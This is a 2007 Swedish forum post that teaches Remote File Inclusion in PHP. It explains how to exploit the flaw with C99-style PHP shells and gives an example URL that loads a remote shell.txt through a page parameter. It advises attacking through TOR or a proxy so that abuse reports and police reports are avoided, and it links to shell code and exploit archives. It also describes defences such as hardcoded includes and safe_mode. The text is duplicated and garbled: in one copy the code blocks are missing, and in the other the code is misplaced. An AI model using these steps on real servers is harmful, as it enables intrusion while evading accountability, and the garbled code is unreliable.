2007-04-25, 18:06
#1
Jag har ingenting att göra och har inte skrivit något rejält här på Flashback under en längre tid. Därför så jag tänkte att jag kunde ta och lära er lite om vad Remote File Inclusions är för någonting, hur man kan använda det och hur man skyddar sig. Visst finns redan all den här informationen på Internet men jag har i vilket fall inte hittat någon guide som tar upp området på svenska.
Tänk på att ni inte ska defaca webbsidor för att ni lärt er hur RFI fungerar, det kommer inte att ge er någon respekt utan snarare tvärtom.
Annat som bör tänkas på är att ALDRIG attackera en webbserver från egen IP-adress, när man utför det bör man köra TOR (http://tor.eff.org/index.html.se) eller i minsta laget en proxy. Gör man något dumt och ägaren av servern upptäcker detta och skickar en abuse-rapport till
din ISP kan du räkna med att bli avstängd och polisanmäld. Självklart beror det på vem som äger servern och hur denne resonerar kring polisanmälningar av datorintrång, men var i vilket fall alltid på din vakt för man vet aldrig vad som kan hända.
I vilket fall, dags att sätta igång.
Remote File Inclusion är en metod som låter dig köra PHP-shells mot en server och på det sättet låter en hacker ladda upp filer och köra kommandon mot servern. Det är ett förekommande problem på många webbsidor, även om det blir färre och färre. Oftast hittas det i offentliga CMS och PHP-script.
När man hittat ett RFI-hål i en webbsida är det dags att sätta igång och utnyttja det. Just RFI kan utnyttjas genom att man antingen utnyttjar ett PHP-shell som C99 eller liknande, eller att man helt enkelt kör ett kommando direkt mot servern.
När man utnyttjar ett PHP-script genom RFI kan det se ut ungefär såhär:
I index.php finns följande kod:
Hur skyddar man sig då? Till att börja bör man fixa till att inte låta användaren
själv välja vilken fil som ska köras i servern. Genom att skippa $variabel och endast köra som följande:
En annan sak man bör använda sig utav safe_mode (http://php.net/features.safe-mode), vilket förhindrar den som attackerar från att köra kommandon och liknande hur som helst mot servern.
Det där var en simpel genomgång på vad Remote File Inclusion är för någonting och hur man på ett lätt sätt säkrar/utnyttjar det. Jag hoppas att ni förstått grunden i hur det går till och att ni blivit lite klokare inom ämnet än vad ni var tidigare.
Har jag av någon anledning fått med ett grammatiskt eller simpelt stavfel så var snäll och rapportera det i tråden, själv tycker jag att det känns mycket mer seriöst om språket är skrivet på ett så korrekt sätt som möjligt. Jag hoppas även att jag inte glömt någonting som bör tilläggas, rapportera även om det skulle finnas något sådant så kompletterar jag det.
Länkar:
http://www.hacktivist.net/index.php?page=scripts - Kod till PHP-shells.
http://www.milw0rm.com/webapps.php - Här hittar du nya RFI-exploits.
http://php.net/features.safe-mode - Information om safe_mode.
Tänk på att ni inte ska defaca webbsidor för att ni lärt er hur RFI fungerar, det kommer inte att ge er någon respekt utan snarare tvärtom.
Annat som bör tänkas på är att ALDRIG attackera en webbserver från egen IP-adress, när man utför det bör man köra TOR (http://tor.eff.org/index.html.se) eller i minsta laget en proxy. Gör man något dumt och ägaren av servern upptäcker detta och skickar en abuse-rapport till
din ISP kan du räkna med att bli avstängd och polisanmäld. Självklart beror det på vem som äger servern och hur denne resonerar kring polisanmälningar av datorintrång, men var i vilket fall alltid på din vakt för man vet aldrig vad som kan hända.
I vilket fall, dags att sätta igång.
Remote File Inclusion är en metod som låter dig köra PHP-shells mot en server och på det sättet låter en hacker ladda upp filer och köra kommandon mot servern. Det är ett förekommande problem på många webbsidor, även om det blir färre och färre. Oftast hittas det i offentliga CMS och PHP-script.
När man hittat ett RFI-hål i en webbsida är det dags att sätta igång och utnyttja det. Just RFI kan utnyttjas genom att man antingen utnyttjar ett PHP-shell som C99 eller liknande, eller att man helt enkelt kör ett kommando direkt mot servern.
När man utnyttjar ett PHP-script genom RFI kan det se ut ungefär såhär:
I index.php finns följande kod:
Kod:
För att köra C99 eller liknande script mot servern gör ni då som så att ni skriver include($variabel . 'file.php');
Kod:
http://www.webbsida.com/index.php?variabel=http://www.exempel.com/shell.txt
Hur skyddar man sig då? Till att börja bör man fixa till att inte låta användaren
själv välja vilken fil som ska köras i servern. Genom att skippa $variabel och endast köra som följande:
Kod:
På det sättet låter man inte användaren själv välja vilken fil som ska köras via servern och en RFI-attack är inte möjliginclude('file.php');
En annan sak man bör använda sig utav safe_mode (http://php.net/features.safe-mode), vilket förhindrar den som attackerar från att köra kommandon och liknande hur som helst mot servern.
Det där var en simpel genomgång på vad Remote File Inclusion är för någonting och hur man på ett lätt sätt säkrar/utnyttjar det. Jag hoppas att ni förstått grunden i hur det går till och att ni blivit lite klokare inom ämnet än vad ni var tidigare.
Har jag av någon anledning fått med ett grammatiskt eller simpelt stavfel så var snäll och rapportera det i tråden, själv tycker jag att det känns mycket mer seriöst om språket är skrivet på ett så korrekt sätt som möjligt. Jag hoppas även att jag inte glömt någonting som bör tilläggas, rapportera även om det skulle finnas något sådant så kompletterar jag det.
Länkar:
http://www.hacktivist.net/index.php?page=scripts - Kod till PHP-shells.
http://www.milw0rm.com/webapps.php - Här hittar du nya RFI-exploits.
http://php.net/features.safe-mode - Information om safe_mode.